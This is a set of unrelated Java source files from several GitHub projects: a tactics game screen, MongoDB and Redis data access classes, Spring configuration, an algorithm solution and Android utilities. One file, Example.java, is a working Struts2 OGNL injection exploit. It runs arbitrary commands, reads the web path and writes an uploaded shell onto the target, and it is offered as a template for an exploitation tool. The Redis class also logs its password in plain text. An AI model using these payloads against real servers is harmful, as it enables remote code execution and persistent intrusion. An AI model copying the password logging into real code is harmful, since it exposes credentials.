status.status_magic = new float[] { 10F, 0F }; status.status_resume = new float[] { 0F, 0F }; status.status_mind = new float[] { 125F, 3F }; status.status_sp = new float[] { 95F, 5.5F }; status.status_dexterity = new float[] { 95F, 6.5F }; status.status_regeneration = new float[] { 71F, 0.9F }; status.status_guardelement = new int[] { 105, 95, 105, 105, 105, 95, 105, 105 }; status.status_move = new float[] { 3F, 0F }; status.ability = new int[] { 0, 1, 2, 10, 6 }; status.status_movetype = 0; SRPGActorStatus status1 = new SRPGActorStatus(); status1.status_jobname = "火星来的灌水女王"; status1.status_max_hp = new float[] { 180F, 9F }; status1.status_max_mp = new float[] { 300F, 2.0F }; status1.status_power = new float[] { 140F, 8.8F }; status1.status_vitality = new float[] { 145F, 6.5F }; status1.status_agility = new float[] { 140F, 4F }; status1.status_magic = new float[] { 10F, 0F }; status1.status_resume = new float[] { 0F, 0F }; status1.status_mind = new float[] { 125F, 3F }; status1.status_sp = new float[] { 95F, 5.5F }; status1.status_dexterity = new float[] { 95F, 6.5F }; status1.status_regeneration = new float[] { 71F, 0.9F }; status1.status_guardelement = new int[] { 105, 95, 105, 105, 105, 95, 105, 105 }; status1.status_move = new float[] { 3F, 0F }; status1.ability = new int[] { 0, 14, 16, 20, 6 }; status1.status_movetype = 0; // 保存到静态引用的SRPGActorFactory类当中(所以自定义的SRPGActorStatus加载一次即可, // 不用每个Scrren都设置一次) SRPGActorFactory.putActorStatus(status); SRPGActorFactory.putActorStatus(status1); // 在索引0位置注入角色,角色动画采集方式为E社标准,职业索引为15(从SRPGActorFactory中取),等级为1,分组为1,坐标为7,12 p = actors.putActor(0, "鹏凌三千", AnimationHelper .makeEObject("assets/cp.png"), 15, 1, 1, 7, 12); // 方向向下 p.setDirection(MOVE_UP); // 设定脸谱(没有也无所谓) p.getActorStatus().face = LTexture.createTexture("assets/cpf.png"); // 身份为敌方主角 p.getActorStatus().leader = LEADER_MAIN; // AI模式为顽抗模式 p.getActorStatus().computer = STUBBORNLYRESIST; hero = actors.putActor(1, "诚哥", AnimationHelper .makeRMVXObject("assets/rz.png"), 16, 90, 0, 8, 3); hero.setDirection(MOVE_LEFT); hero.getActorStatus().face = LTexture.createTexture("assets/rzf.png"); hero1 = actors.putActor(2, "鱿鱼娘", "assets/wz.png", 17, 95, 0, 7, 3); hero1.setDirection(MOVE_RIGHT); hero1.getActorStatus().face = LTexture.createTexture("assets/wzf.png"); hero1.getActorStatus().leader = LEADER_MAIN; } protected void initTeamConfig(SRPGTeams team) { // 设定分组名称(顺序配置分组ID,也可详细设置) team.setTeams(new String[] { "鱿鱼娘一方", "鹏凌三千一方" }); } public void onClickActor(SRPGActor actor, int x, int y) { } public void onClickField(SRPGFieldElement element, int x, int y) { } protected void processAttackAfter(int index, SRPGActor actor) { } protected void processAttackBefore(int index, SRPGActor actor) { } protected void processChangePhaseAfter() { // 禁止滚屏执行 setTouchMoveLock(true); // 让事件仅在主角方阶段发生 if (getTeams().getPhase() == 0) { switch (getTeams().getTurn()) { // 当回合1时 case 1: // 显示提示信息,自动播放 setHelper(new String[] { "太平洋深处的水产世界", "坐井喷天火星城" }, true); // 设定一个移动状态标记,以调控剧情中的移动节奏 boolean moveFlag = true; for (int j = 0; j < 4; j++) { for (int i = 0; i < (moveFlag ? 1 : 2); i++) { hero1.moveActorShow(MOVE_LEFT, j < 2 ? 90 : 30); hero.moveActorShow(MOVE_LEFT, j < 2 ? 90 : 30); hero.setDirection(MOVE_LEFT); hero1.setDirection(MOVE_RIGHT); hero.waitMove(this); hero1.waitMove(this); } moveFlag = !moveFlag; for (int i = 0; i < (moveFlag ? 1 : 2); i++) { hero.moveActorShow(MOVE_RIGHT, j < 2 ? 90 : 30); hero1.moveActorShow(MOVE_RIGHT, j < 2 ? 90 : 30); hero.setDirection(MOVE_LEFT); hero1.setDirection(MOVE_RIGHT); hero.waitMove(this); hero1.waitMove(this); } hero.waitMove(this); hero1.waitMove(this); switch (j) { case 0: // 调用AVG脚本中的分支判定 callAvgScript("assets/script.txt", "index", "0"); break; case 1: callAvgScript("assets/script.txt", "index", "1"); break; default: break; } } callAvgScript("assets/script.txt", "index", "2"); break; case 2: callAvgScript("assets/script.txt", "index", "3"); break; default: break; } } // 恢复滚屏执行 setTouchMoveLock(false); } protected void processChangePhaseBefore() { } /** * 当角色已经被确定死亡时 */ protected boolean processDeadActor(int index) { if (index != 0) { setHelper("鹏凌三千回家吃饭去了 !"); return true; } else { SRPGActor actor = findActor(index); SRPGStatus oldStatus = actor.getActorStatus(); if (oldStatus.level < 99) { ArrayMap vars = new ArrayMap(10); vars.put("index", "4"); switch (MathUtils.random.nextInt(3)) { case 0: vars .put( "cpmes", "鹏凌三千:鹏翼一展凌九天,三千世界等云烟。长啸能将星斗碎,高翮会令银河干。凤凰于我看家狗,真龙是吾盘中餐。须弥倾覆身未老,昆仑山崩体犹闲。可笑蝼蚁啖金石,金石未损只自残!"); break; case 1: vars.put("cpmes", "鹏凌三千:哈哈哈哈哈哈,信春哥不过是原地满血复活,让你见识一下本少爷原地满血升级复活的神技~"); break; case 2: vars.put("cpmes", "鹏凌三千:道法无形,无器可容,君子不器,始臻全功,生死随心,神魔震惊!"); break; } // 让角色消失 actor.setVisible(false); actor.setExist(false); LTexture old = actor.getActorStatus().face; // 重新设定状态 actor.setActorStatus(SRPGActorFactory.makeActorStatus("鹏凌三千", oldStatus.number, oldStatus.level + 1, oldStatus.team, oldStatus.group)); actor.getActorStatus().face = old; // 执行脚本 callAvgScript("assets/script.txt", vars); } return false; } } /** * 角色伤害数据输入前 */ protected void processDamageInputBefore(SRPGDamageData damagedata, int atk, int def) { } /** * 角色伤害数据输入后 */ protected void processDamageInputAfter(SRPGDamageData damagedata, int atk, int def) { } /** * 角色死亡后 */ protected void processDeadActorAfter(int index, SRPGActor actor) { } /** * 角色死亡后 */ protected void processDeadActorBefore(int index, SRPGActor actor) { } public void onLoading() { makeEmulatorButton(); } public void processLevelUpAfter(int index, SRPGActor actor) { } public void processLevelUpBefore(int index, SRPGActor actor) { } public void onDown(GameTouch e) { } public void onMove(GameTouch e) { } public void onUp(GameTouch e) { } public void alter(LTimerContext timer) { } @Override public void resize(int width, int height) { // TODO Auto-generated method stub } @Override public void resume() { // TODO Auto-generated method stub } @Override public void pause() { // TODO Auto-generated method stub } }
cping/LGame
Java/Examples/srpggame(0.5)/src/com/mygame/MySRPGScreen.java
65,559
/** * MVC基础包, 封装的 Controller、Service、Manager、Mapper等 * <p> * 为什么Controller要拆分成这么多个?而Service和Mapper不拆分 * 1. Controller 是给前端使用的,对于前端人员,看到的无用接口越少,越有利于对接 * 2. 过多的 Controller 接口暴露在外,增加被人恶意攻击风险 * 3. Service、Manager和Mapper都是后端人员使用,丰富一些无所谓,就算会多个后端协同开发,因为都懂JAVA,沟通阅读起来没那么难 * 4. Service: 业务逻辑层(大业务), 相对具体的业务逻辑服务层 * 5. Manager: 通用业务层(小业务), 继承了MP的IService: * 1) 对第三方平台封装的层,预处理返回结果及转化异常信息。 * 2) 对 Service 层通用能力的下沉,如缓存方案、中间件通用处理。 * 3) 与 DAO 层交互,对多个 DAO 的组合复用。 * 6. Mapper:数据访问层, 继承了MP的BaseMapper, 与底层MySQL交互 * * @version 4.0.0 * @author zuihou * @date 2020年03月07日22:35:57 * @since 4.0.0 */ package top.tangyh.basic.base;
zuihou/lamp-util
lamp-mvc/src/main/java/top/tangyh/basic/base/package-info.java
65,560
package com.lxs.mj; import com.google.common.base.Strings; import io.mycat.backend.jdbc.mongodb.MongoDriver; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.sql.DataSource; import java.io.PrintWriter; import java.sql.Connection; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; /** * {@link io.mycat.backend.jdbc.mongodb.MongoConnection}的数据源,初始化<b>单个</b>连接。<br/> * 无需池化连接,连接池由{@link com.mongodb.MongoClient}负责。 * * @author liuxinsi * @mail [email protected] */ public class MongoDataSource extends MongoJDBCConfig implements DataSource { private static final Logger LOG = LoggerFactory.getLogger(MongoDataSource.class); private static final String URL_TEMPLATE = "mongodb://%1$s/%2$s"; private static final String URL_TEMPLATE_WITH_CREDENTIAL = "mongodb://%3$s:%4$s@%1$s/%2$s"; private final Object lock = new Object(); private Connection connection; private void initConnection(String userName, String password) throws SQLException { if (getUrl() == null) { throw new IllegalStateException("url property is required"); } synchronized (this.lock) { if (!Strings.isNullOrEmpty(userName) && !Strings.isNullOrEmpty(password)) { if (!userName.equals(getUserName())) { LOG.debug("passed user name different than config,use passed"); setUserName(userName); } if (!password.equals(getPassword())) { LOG.debug("passed password different than config,use passed"); setPassword(password); } } String url; if (!Strings.isNullOrEmpty(getUserName()) && getPassword() != null) { url = String.format(URL_TEMPLATE_WITH_CREDENTIAL, getUrl(), getDbName(), getUserName(), getPassword()); } else { url = String.format(URL_TEMPLATE, getUrl(), getDbName()); } MongoDriver md = new MongoDriver(); this.connection = md.connect(url, toProperties()); LOG.info("established connection : " + String.format(URL_TEMPLATE, getUrl(), getDbName())); } } @Override public Connection getConnection() throws SQLException { if (this.connection == null) { synchronized (this.lock) { if (this.connection == null) { initConnection(null, null); } } } // 无所谓,不是关系型数据库的connection // if (this.connection.isClosed()) { // throw new SQLException("connection was closed"); // } return this.connection; } @Override public Connection getConnection(String username, String password) throws SQLException { if (this.connection == null) { synchronized (this.lock) { if (this.connection == null) { initConnection(username, password); } } } if (this.connection.isClosed()) { throw new SQLException("connection was closed"); } return this.connection; } @Override public PrintWriter getLogWriter() throws SQLException { throw new UnsupportedOperationException("getLogWriter"); } @Override public void setLogWriter(PrintWriter out) throws SQLException { throw new UnsupportedOperationException("setLogWriter"); } @Override public void setLoginTimeout(int seconds) throws SQLException { throw new UnsupportedOperationException("setLoginTimeout"); } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public java.util.logging.Logger getParentLogger() throws SQLFeatureNotSupportedException { return java.util.logging.Logger.getLogger(java.util.logging.Logger.GLOBAL_LOGGER_NAME); } @Override @SuppressWarnings("unchecked") public <T> T unwrap(Class<T> iface) throws SQLException { if (iface.isInstance(this)) { return (T) this; } throw new SQLException("DataSource of type [" + getClass().getName() + "] cannot be unwrapped as [" + iface.getName() + "]"); } @Override public boolean isWrapperFor(Class<?> iface) throws SQLException { return iface.isInstance(this); } }
liuxinsi/mongo-jdbc
src/main/java/com/lxs/mj/MongoDataSource.java
65,561
package fun.fireline.exp; import fun.fireline.core.ExploitInterface; import fun.fireline.tools.HttpTools; import fun.fireline.tools.Response; import java.net.URLEncoder; import java.util.HashMap; import java.util.UUID; /** * @author yhy * @date 2021/8/18 19:37 * @github https://github.com/yhy0 * 漏洞利用编写示例 ,必须实现 ExploitInterface */ public class Example implements ExploitInterface { private String target = null; private boolean isVul = false; private HashMap<String, String> headers = new HashMap(); private String payload = "('\\43_memberAccess.allowStaticMethodAccess')(a" + ")=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')" + "(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\[email protected]@EMPTY_SET')" + // payload 为替换命令 "(c))&(g)(('\\43mycmd\\75\\'payload\\'')(d))&(h)(('\\43myret\\[email protected]@getRuntime()." + "exec(\\43mycmd)')(d))&(i)(('\\43mydat\\75new\\40java.io.DataInputStream(\\43myret.getInputStream())')" + "(d))&(j)(('\\43myres\\75new\\40byte[51020]')(d))&(k)(('\\43mydat.readFully(\\43myres)')" + "(d))&(l)(('\\43mystr\\75new\\40java.lang.String(\\43myres)')(d))&(m)" + "(('\\43myout\\[email protected]@getResponse()')" + "(d))&(n)(('\\43myout.getWriter().println(\\43mystr)')(d))"; private String webPath = "('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context" + "[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')" + "(('\\43_memberAccess.excludeProperties\\[email protected]@EMPTY_SET')(c))&(g)" + "(('\\43req\\[email protected]@getRequest()')(d))&(i2)" + "(('\\43xman\\[email protected]@getResponse()')(d))&(i97)" + "(('\\43xman.getWriter().println(\\43req.getRealPath(\"\\u005c\"))')(d))&(i99)" + "(('\\43xman.getWriter().close()')(d))"; // 检测漏洞是否存在 @Override public String checkVul(String url) { // 这里可以通过随机生成的 UUID 判断回显来验证漏洞是否存在,有其他方法更好。 String uuid = UUID.randomUUID().toString(); this.target = url; // 添加header头 this.headers.put("Content-type", "application/x-www-form-urlencoded"); // 替换payload 中的 payload 字符,为输出UUID String data = this.payload.replace("payload", "echo " + uuid); // post 请求,根据不同的exp,可能需要不同的请求方式,看需更改 Response response = HttpTools.post(this.target, data, this.headers, "UTF-8"); // 看回显,是否存在 202cb962ac59075b964b07152d234b70 if(response.getText() != null && response.getText().contains(uuid)) { this.isVul = true; return "[+] 目标存在" + this.getClass().getSimpleName() + "漏洞 \t O(∩_∩)O~"; } else if (response.getError() != null) { return "[-] 检测漏洞" + this.getClass().getSimpleName() + "失败, " + response.getError(); } else { return "[-] 目标不存在" + this.getClass().getSimpleName() + "漏洞"; } } // 命令执行 @Override public String exeCmd(String cmd, String encoding) { // 替换payload 中的 payload 字符为要执行的命令 String data = this.payload.replace("payload", cmd); this.headers.put("Content-type", "application/x-www-form-urlencoded"); Response response = HttpTools.post(this.target, data, headers, encoding); return response.getText(); } // 获取当前的web路径,有最好,没有也无所谓 @Override public String getWebPath() { Response response = HttpTools.post(this.target, webPath, headers, "UTF-8"); return response.getText(); } /* 上传shell ,有的漏洞需要web的目录,所以就需要getWebPath() ,如果不能自动判断就需要手动指定路径了 fileContent : 传入的shell文件内容 filename : 指定的文件名 platform : 对方的系统类型,Windows/Linux ,能通用的话就不用管了 */ @Override public String uploadFile(String fileContent, String filename, String platform) throws Exception { String uuid = UUID.randomUUID().toString(); // 对传入的文件进行url编码,默认编码为 UTF-8 ,看情况是否需要url编码 fileContent = URLEncoder.encode(fileContent, "UTF-8" ); // 写入或者上传文件的payload String payload = "('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)" + "(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')" + "(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))=&(i1)(('\\43req\\[email protected]." + "ServletActionContext@getRequest()')(d))=&(i12)(('\\43xman\\[email protected]" + "@getResponse()')(d))=&(i13)(('\\43xman.getWriter().println(\\43req.getServletContext()." + "getRealPath(%22\\u005c%22))')(d))=&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(" + "new\\40java.lang.StringBuilder(\\43req.getRealPath(%22\\u005c%22)).append" + "(%22/" + filename + "%22).toString())')(d))=&(i3)" + "(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))=&(i4)" + "(('\\43fos.close()')(d))(('\\43xman\\[email protected]@getResponse()')" + "(d))=&(i2)(('\\43xman\\[email protected]@getResponse()')(d))=&(i95)" + "(('\\43xman.getWriter().print(\"" + uuid+ "\")')(d))=&(i99)(('\\43xman.getWriter().close()')" + "(d))=&t=" + fileContent; this.headers.put("Content-type", "application/x-www-form-urlencoded"); Response response = HttpTools.post(this.target, payload, headers, "UTF-8"); String result = response.getText(); // 也是对输出随机UUID是否一致来判断是否成功的,有其他方法也可以自行改判断 if(result.contains(uuid)) { result = result + " 上传成功! "; } else { result = "上传失败"; } return result; } // 漏洞是否存在 @Override public boolean isVul() { return this.isVul; } }
yhy0/ExpDemo-JavaFX
src/main/java/fun/fireline/exp/Example.java
65,562
package lucene.demo; import lucene.demo.search.Indexer; import lucene.demo.search.SearchEngine; import org.apache.lucene.document.Document; import org.apache.lucene.search.ScoreDoc; import org.apache.lucene.search.TopDocs; public class Main { /** Creates a new instance of Main */ public Main() { } /** * @param args the command line arguments */ public static void main(String[] args) { try { // build a lucene index System.out.println("rebuildIndexes"); Indexer indexer = new Indexer(); indexer.rebuildIndexes(); System.out.println("rebuildIndexes done"); // perform search on "Notre Dame museum" // and retrieve the top 100 result System.out.println("performSearch"); SearchEngine se = new SearchEngine(); // start to search something TopDocs topDocs = se.performSearch("无所谓", 100); System.out.println("Results found: " + topDocs.totalHits); // find results ScoreDoc[] hits = topDocs.scoreDocs; for (int i = 0; i < hits.length; i++) { Document doc = se.getDocument(hits[i].doc); System.out.println(doc.get("name") + " " + doc.get("city") + " (" + hits[i].score + ")"); } System.out.println("performSearch done"); } catch (Exception e) { System.out.println("Exception caught.\n"); } } }
guoylyy/lucene-demo
lucene-basic-demo/src/lucene/demo/Main.java
65,563
283. Move Zeroes public void moveZeroes(int[] nums) { if (nums == null || nums.length == 0) return; int idx = 0; for (int num: nums) if (num != 0) nums[idx++] = num; while (idx < nums.length) nums[idx++] = 0; } 代码只需要返回最后有效数组的长度,有效长度之外的数字是什么无所谓,原先input里面的数字不一定要保持原来的相对顺序。 1.不用保持非零元素的相对顺序 2.不用把0移到右边 思路:把右边的非0元素移动到左边的0元素位置。这样就可以minimize writes. public int moveZeroesWithMinWrites(int[] nums) { int left = 0, right = nums.length - 1; while (left < right) { while (left < right && nums[left] != 0) left++; while (left < right && nums[right] == 0) right--; if (left < right) nums[left++] = nums[right--]; } return left; }
wey068/Facebook-Interview-Coding
283. Move Zeroes.java
65,564
package com.mall.xiaomi.mq; import com.mall.xiaomi.service.OrderService; import com.mall.xiaomi.service.SeckillProductService; import com.mall.xiaomi.util.RedisKey; import com.rabbitmq.client.Channel; import org.springframework.amqp.core.Message; import org.springframework.amqp.rabbit.annotation.RabbitListener; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Component; import java.io.IOException; import java.util.Date; import java.util.Map; import java.util.concurrent.TimeUnit; /** * @Auther: wdd * @Date: 2020-04-24 9:30 * @Description: */ @Component public class SeckillOrderQueue { @Autowired private OrderService orderService; @Autowired private SeckillProductService seckillProductService; @Autowired StringRedisTemplate stringRedisTemplate; @RabbitListener(queues = "seckill_order") public void insertOrder(Map map, Channel channel, Message message){ // 查看id,保证幂等性 String correlationId = message.getMessageProperties().getCorrelationId(); if (!stringRedisTemplate.hasKey(RedisKey.SECKILL_RABBITMQ_ID + correlationId)) { // redis中存在,表明此条消息已消费,请勿重复消费 return; } String seckillId = (String) map.get("seckillId"); String userId = (String) map.get("userId"); // 存入redis,因为只需要判断是否存在,因此value为多少无所谓 stringRedisTemplate.opsForValue().set(RedisKey.SECKILL_RABBITMQ_ID + correlationId, "1"); Long seckillEndTime = seckillProductService.getEndTime(seckillId); stringRedisTemplate.expire(RedisKey.SECKILL_RABBITMQ_ID + correlationId, seckillEndTime - new Date().getTime(), TimeUnit.SECONDS); // 设置过期时间 try { orderService.addSeckillOrder(seckillId, userId); } catch (Exception e) { e.printStackTrace(); try { stringRedisTemplate.delete(RedisKey.SECKILL_RABBITMQ_ID + correlationId); // 将该消息放入队列尾部,尝试再次消费 channel.basicNack(message.getMessageProperties().getDeliveryTag(), false, true); } catch (IOException ioException) { ioException.printStackTrace(); } } } }
ZeroWdd/Xiaomi
src/main/java/com/mall/xiaomi/mq/SeckillOrderQueue.java
65,565
package com.mtx.common.util.base; import com.mtx.common.constant.SystemConstant; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Profile; import org.springframework.web.servlet.config.annotation.EnableWebMvc; import springfox.documentation.builders.ApiInfoBuilder; import springfox.documentation.builders.PathSelectors; import springfox.documentation.builders.RequestHandlerSelectors; import springfox.documentation.service.ApiInfo; import springfox.documentation.service.Contact; import springfox.documentation.spi.DocumentationType; import springfox.documentation.spring.web.plugins.Docket; import springfox.documentation.swagger2.annotations.EnableSwagger2; @EnableWebMvc @EnableSwagger2 @Configuration @Profile(SystemConstant.SYS_MODE_PUB)//只有测试环境才启用这个bean public class SwaggerConfig {//swagger的配置类 @Bean public Docket createRestApi() { return new Docket(DocumentationType.SWAGGER_2) .apiInfo(apiInfo()) .select() .apis(RequestHandlerSelectors.basePackage("com.mtx")) // 注意修改此处的包名 .paths(PathSelectors.any()) .build(); } private ApiInfo apiInfo() { return new ApiInfoBuilder() .title("接口列表 v1.0") // 任意,请稍微规范点 .description("接口列表") // 任意,请稍微规范点 .termsOfServiceUrl("/swagger-ui.html") // 将“url”换成自己的ip:port .contact(new Contact("yudinggood","","")) // 无所谓(这里是作者的别称) .version("1.0") .build(); } }
yudinggood/mtx
mtx-admin/src/main/java/com/mtx/common/util/base/SwaggerConfig.java
65,599
package com.avoscloud.leanchatlib.utils; import android.app.Activity; import android.app.ProgressDialog; import com.avoscloud.leanchatlib.R; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.DefaultHttpClient; import java.io.Closeable; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.Random; /** * Created by lzw on 15/4/27. */ public class Utils { public static ProgressDialog showSpinnerDialog(Activity activity) { ProgressDialog dialog = new ProgressDialog(activity); dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER); dialog.setCancelable(true); dialog.setMessage(activity.getString(R.string.chat_utils_hardLoading)); if (!activity.isFinishing()) { dialog.show(); } return dialog; } public static String uuid() { StringBuilder sb = new StringBuilder(); int start = 48, end = 58; appendChar(sb, start, end); appendChar(sb, 65, 90); appendChar(sb, 97, 123); String charSet = sb.toString(); StringBuilder sb1 = new StringBuilder(); Random random = new Random(); for (int i = 0; i < 24; i++) { int len = charSet.length(); int pos = random.nextInt(len); sb1.append(charSet.charAt(pos)); } return sb1.toString(); } public static void appendChar(StringBuilder sb, int start, int end) { int i; for (i = start; i < end; i++) { sb.append((char) i); } } private static DefaultHttpClient httpClient; private synchronized static DefaultHttpClient getDefaultHttpClient() { if (httpClient == null) { httpClient = new DefaultHttpClient(); } return httpClient; } /** * 下载文件,若失败会将文件删除,以便下次重新下载 * 暂时不校验 size,万一 size 跟实际文件的大小不一样,会导致每次重新下载 * * @param url * @param toFile */ public static void downloadFileIfNotExists(String url, File toFile) { if (!toFile.exists()) { FileOutputStream outputStream = null; InputStream inputStream = null; try { outputStream = new FileOutputStream(toFile); HttpGet get = new HttpGet(url); HttpResponse response = getDefaultHttpClient().execute(get); HttpEntity entity = response.getEntity(); inputStream = entity.getContent(); byte[] buffer = new byte[4096]; int len; while ((len = inputStream.read(buffer)) != -1) { outputStream.write(buffer, 0, len); } } catch (IOException e) { if (toFile.exists()) { toFile.delete(); } } finally { closeQuietly(inputStream); closeQuietly(outputStream); } } } public static void closeQuietly(Closeable closeable) { try { closeable.close(); } catch (Exception e) { } } }
lzwjava/leanchat-android
leanchatlib/src/main/java/com/avoscloud/leanchatlib/utils/Utils.java
65,600
/** * Copyright (c) 2005-2012 https://github.com/zhangkaitao * * Licensed under the Apache License, Version 2.0 (the "License"); */ package com.sishuok.es.common.web.form.bind; import org.springframework.util.StringUtils; import org.springframework.web.servlet.support.BindStatus; import org.springframework.web.servlet.support.RequestContext; import org.springframework.web.util.HtmlUtils; import javax.servlet.jsp.PageContext; /** * <p>User: Zhang Kaitao * <p>Date: 13-3-28 下午4:46 * <p>Version: 1.0 */ public class SearchBindStatus extends BindStatus { private static final String pathToUse = "___search"; private Object value; private boolean htmlEscape; private SearchBindStatus(RequestContext requestContext, String path, boolean htmlEscape) throws IllegalStateException { super(requestContext, path, htmlEscape); } public static BindStatus create(PageContext pageContext, String name, RequestContext requestContext, boolean htmlEscape) { pageContext.getRequest().setAttribute(pathToUse, SearchModel.EMPTY); SearchBindStatus bindStatus = new SearchBindStatus(requestContext, pathToUse, htmlEscape); bindStatus.value = getValue(pageContext, name); bindStatus.htmlEscape = htmlEscape; return bindStatus; } public static Object getValue(PageContext pageContext, String name) { if (StringUtils.isEmpty(name)) { return null; } Object value = null; String[] parameters = pageContext.getRequest().getParameterValues(name); if (parameters != null && parameters.length == 1) { value = parameters[0]; } else { value = parameters; } //万一同名就选中了 // if(value == null || (value instanceof String && StringUtils.isEmpty((String) value))) { // Object attributeValue = pageContext.findAttribute(name); // if(attributeValue != null) { // value = attributeValue; // } // } return value; } @Override public Object getValue() { return value; } @Override public Object getActualValue() { return value; } @Override public String getDisplayValue() { if (this.value instanceof String) { return (String) this.value; } if (this.value != null) { return (this.htmlEscape ? HtmlUtils.htmlEscape(this.value.toString()) : this.value.toString()); } return ""; } private static class SearchModel { public static final SearchModel EMPTY = new SearchModel(); } }
zhangkaitao/es
common/src/main/java/com/sishuok/es/common/web/form/bind/SearchBindStatus.java
65,602
package com.sohu.cache.redis.impl; import com.sohu.cache.redis.AssistRedisService; import com.sohu.cache.redis.util.ProtostuffSerializer; import org.apache.commons.pool2.impl.GenericObjectPoolConfig; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; import redis.clients.jedis.Jedis; import redis.clients.jedis.JedisPool; import redis.clients.jedis.Protocol; import redis.clients.jedis.Tuple; import redis.clients.jedis.exceptions.JedisConnectionException; import redis.clients.jedis.params.SetParams; import javax.annotation.PostConstruct; import java.nio.charset.Charset; import java.util.Collections; import java.util.List; import java.util.Map; import java.util.Set; @Component public class AssistRedisServiceImpl implements AssistRedisService { private Logger logger = LoggerFactory.getLogger(AssistRedisServiceImpl.class); @Value("${cachecloud.redis.main.host:127.0.0.1}") private String mainHost; @Value("${cachecloud.redis.main.port:6379}") private int mainPort; @Value("${cachecloud.redis.main.password:}") private String mainPassword; private JedisPool jedisPoolMain; private ProtostuffSerializer protostuffSerializer = new ProtostuffSerializer(); @PostConstruct public void init() { GenericObjectPoolConfig config = new GenericObjectPoolConfig(); jedisPoolMain = new JedisPool(config, mainHost, mainPort, Protocol.DEFAULT_TIMEOUT, mainPassword); } /** * low版本,应该用vip或者hystrix,这里是以防万一 * * @return */ private Jedis getFromJedisPool() throws Exception{ try { return jedisPoolMain.getResource(); } catch (JedisConnectionException ce){ logger.warn("Please Make sure the file:application-${profile}.yml connection pool is configured correctly ! cachecloud.redis.main.host:{} cachecloud.redis.main.port:{} cachecloud.redis.main.password:{}",mainHost,mainPort,mainPassword); throw ce; } catch (Exception e) { logger.warn(e.getMessage(),e); throw e; } } @Override public boolean rpush(String key, String item) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.rpush(key, item); return true; } catch (Exception e) { logger.warn("rpush {} {} error " + e.getMessage(), key, item, e); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public List<String> lrange(String key, int start, int end) { Jedis jedis = null; try { jedis = getFromJedisPool(); return jedis.lrange(key, start, end); } catch (Exception e) { logger.warn("lrange {} {} {} error " + e.getMessage(), key, start, end); return Collections.emptyList(); } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean rpushList(String key, List<String> items) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.rpush(key, items.toArray(new String[items.size()])); return true; } catch (Exception e) { logger.warn("rpushList {} {} error " + e.getMessage(), key, items); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public Long llen(final String key){ Jedis jedis = null; try { jedis = getFromJedisPool(); Long llen = jedis.llen(key); return llen; } catch (Exception e) { logger.warn("llen {} {} error " + e.getMessage(), key); return 0L; } finally { if (jedis != null) { jedis.close(); } } } @Override public String lpop(final String key){ Jedis jedis = null; try { jedis = getFromJedisPool(); String lpop = jedis.lpop(key); return lpop; } catch (Exception e) { logger.warn("rpushList {} {} error " + e.getMessage(), key); return null; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean saddSet(String key, Set<String> items) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.sadd(key, items.toArray(new String[items.size()])); return true; } catch (Exception e) { logger.warn("saddList {} {} error " + e.getMessage(), key, items); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean sadd(String key, String item) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.sadd(key, item); return true; } catch (Exception e) { logger.warn("sadd {} {} error " + e.getMessage(), key, item); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public Set<String> smembers(String key) { Jedis jedis = null; try { jedis = getFromJedisPool(); return jedis.smembers(key); } catch (Exception e) { logger.warn("smembers {} error " + e.getMessage(), key); return Collections.emptySet(); } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean srem(String key, String item) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.srem(key, item); return true; } catch (Exception e) { logger.warn("srem {} {} error " + e.getMessage(), key, item); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean reloadSentinel() { return false; } @Override public <T> boolean set(String key, T value) { if (value == null) { return false; } byte[] bytes = protostuffSerializer.serialize(value); Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.set(key.getBytes(Charset.forName("UTF-8")), bytes); return true; } catch (Exception e) { logger.warn("set {} error " + e.getMessage(), key, e); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public <T> boolean set(String key, T value, int seconds) { if (value == null) { return false; } byte[] bytes = protostuffSerializer.serialize(value); Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.setex(key.getBytes(Charset.forName("UTF-8")), seconds, bytes); return true; } catch (Exception e) { logger.warn("setex {} {} error " + e.getMessage(), key, seconds); return false; } finally { if (jedis != null) { jedis.close(); } } } public boolean setNx(String key, String value) { Jedis jedis = null; Long result = 0l; try { jedis = getFromJedisPool(); result = jedis.setnx(key, value); } catch (Exception e) { logger.warn("setnx {} {} error:{} ", key, value, e.getMessage()); } finally { if (jedis != null) { jedis.close(); } } return result == 1 ? true : false; } public String set(String key, String value, SetParams params) { Jedis jedis = null; try { jedis = getFromJedisPool(); return jedis.set(key, value, params); } catch (Exception e) { logger.warn("set {} {} {} error " + e.getMessage(), key, value, params); return null; } finally { if (jedis != null) { 